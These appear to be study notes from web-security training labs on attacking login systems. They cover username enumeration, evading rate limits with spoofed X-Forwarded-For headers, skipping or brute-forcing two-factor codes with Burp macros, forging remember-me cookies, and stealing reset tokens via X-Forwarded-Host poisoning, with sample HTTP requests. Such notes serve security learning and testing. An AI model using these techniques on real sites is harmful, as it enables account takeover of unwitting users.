Notes:

- always try to brute-force first, regardless of the locking mechanism

Brute-forcing usernames

- try accessing user profiles with logging in (the name in the profile might be the login username)

- check for usernames, emails leak

Username enumeration + Brute-forcing passwords

- on login, registration: pay attention to differences in status code, error message (check source code, use grep extract), response time (**try excessively long passwords**)

- Use **X-Forwarded-For: §§** (1-110, Pitfork) to bypass IP-based protection

Flawed brute-force protection

- the counter for number of failed attempts might be reset if there is a successful login (=> login to my own account every attempt to reset the counter) / **use 1 thread**

- try each password for all usernames

### **Account locking**

One way in which websites try to prevent brute-forcing is to lock the account if certain suspicious criteria are met, usually a set number of failed login attempts. Just as with normal login errors, responses from the server indicating that an account is locked can also help an attacker to enumerate usernames.

* Try to login multiple times with each username

User rate limiting

Guess multiple passwrods with a single request

"username" : "carlos",

"password" : [

"123456",

"password",

"qwerty"

...

]

HTTP basic authentication

Authorization: Basic base64(username:password)

Bypassing two-factor authentication

If the user is first prompted to enter a password, and then prompted to enter a verification code on a separate page, the user is effectively in a "logged in" state before they have entered the verification code. Occasionally, websites don't check whether or not you completed the second step before loading the page.

=> skip the second step

Flawed two-factor verification logic

**Login with my own account:**

POST /login-steps/first HTTP/1.1

Host: vulnerable-website.com

...

username=wiener&password=peter

------------------------------------------------------------------------------------------------------------------------------------

HTTP/1.1 200 OK

Set-Cookie: account=wiener

**Call this first to get verification code for victim (change the cookie value to victim):**

GET /login-steps/second HTTP/1.1

Cookie: account=c**arlos**

**Attack: brute-force the verification code**

POST /login-steps/second HTTP/1.1

Host: vulnerable-website.com

Cookie: account=**carlos**

...

verification-code=123456

Brute-forcing 2FA verification codes

**Attempts to brute-force the verfification code are limited. Login again resets the counter for this, but it needs new CSRF token**

=> Create **Macro**

"Project options" > "Sessions" > "Session handling rules" > "Add" > "Scope" > "URL Scope" > "Include all URLs" > "Details" > "Rule actions" > "Add" > "Run a macro" > "Select macro" > "Add"

Select sequence of requests:

GET /login

POST /login

GET /login2

Send POST /login2 to Intruder, brute-force the verification code **(use 1 thread)**

Keeping users logged in

"Remember me" or "Keep me logged in" => “remember me”-cookie will be generated => possessing this cookie allows to bypass the login process

=> study how the cookie is generated (username, timestamp,.. / base64-encoded)

=> create another cookie to compromise others’ accounts

wiener:51dc30ddc473d43a6011e9ebba6ca770 => use **crackstation.net** to reverse the hash

know what the hash is => brute-force victim’s cookie

Resetting passwords using a URL

A method of resetting passwords is to send a unique URL to users that takes them to a password reset page. Insecure implementations of this method use a URL with an easily guessable parameter to identify which account is being reset, for example:

[http://vulnerable-website.com/reset-password?user=**victim-user**](http://vulnerable-website.com/reset-password?user=victim-user)

* Change the user parameter to refer to any user. We would then be taken straight to a page where we can potentially set a new password for this arbitrary user.

A better implementation of this process is to generate a high-entropy, hard-to-guess token:

http://vulnerable-website.com/reset-password?token=**a0ba0d1cb3b63d13822572fcff1a241895d893f659164d4cc550b421ebdd48a8**

Some websites do not validate the token

=> use/reuse/delete our own token **in the POST request (URL and request body)**, replace username and reset carlos’s password

**Steal another user’s token for resetting password (**See Password Reset Poisoning with Host header**)**

Set “**X-Forwarded-Host: exploit-server**” in /forgot-password request so that the link for resetting carlos’s password is sent to the **email** exploit-server > check access log for “token”

Password change vulnerabilities

Password change functionality can be particularly dangerous if it allows an attacker to access it directly without being logged in as the victim user. For example, if the username is provided in a hidden field, an attacker might be able to edit this value in the request to target arbitrary users.

* Apply all the techniques above

Pay attention to

- when entering wrong current password, two identical new passwords

- when entering wrong current password, two different new passwords: “current password is incorrect” **(use this to brute-force the password)**

- when entering correct current password, two different new passwords: “new passwords do not match”